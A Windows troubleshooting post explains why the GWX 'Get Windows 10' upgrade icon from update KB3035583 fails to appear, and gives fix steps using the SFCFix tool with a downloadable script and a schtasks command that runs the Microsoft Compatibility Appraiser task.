The update in question is the KB3035583, which adds the GWX folder in C:\Windows\System32 along with all the files it contains. The main executable is GWX.exe, which is the icon process. Here’s the content of that GWX folder:

windows 10 image 2

And here are the entries related to it via Autoruns:

windows 10 image 3

As you can see, these are all tasks. Even refreshing or launching these manually doesn’t seem to launch the GWX.exe process. The process will often launch for a few seconds and then exit without the icon appearing.

Microsoft has provided a fix for this that should work for the majority of cases:
https://support.microsoft.com/en-us/…?wa=wsignin1.0

Unfortunately there are still some users who are unable to get the icon to appear, or install Windows 10. We’ve been investigating this further and it looks like there is a quick registry tweak that should get the icon to appear on most machines.

We’ve included a set of instructions below that should help resolve this error.

SFCFix Script

  1. Download SFCFix.exe (by niemiro) and save this to your Desktop.
  2. Download the below file, SFCFixScript.txt, and save this to your Desktop. Ensure that this file is named SFCFixScript.txt – do not rename it.
  3. Save any open documents and close all open windows.
  4. On your Desktop, you should see two files: SFCFix.exe and SFCFixScript.txt.
  5. Drag the file SFCFixScript.txt onto the file SFCFix.exe and release it.
  6. SFCFix will now process the script.
  7. Upon completion, a log should be created on your Desktop: SFCFix.txt.

https://app.box.com/s/coodozknlnl3lafi0u8lbaoi2juai7g8

Command Prompt

  1. Press the Windows Key on your keyboard and X to open up the Power User Tasks Menu
  2. Click (or tap) Command Prompt (admin)
  3. When command prompt opens, copy and paste the following commands into it, press enter after eachschtasks.exe /Run /TN “\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser”

Credit to Aura and Go The Power for the original investigation and fixes.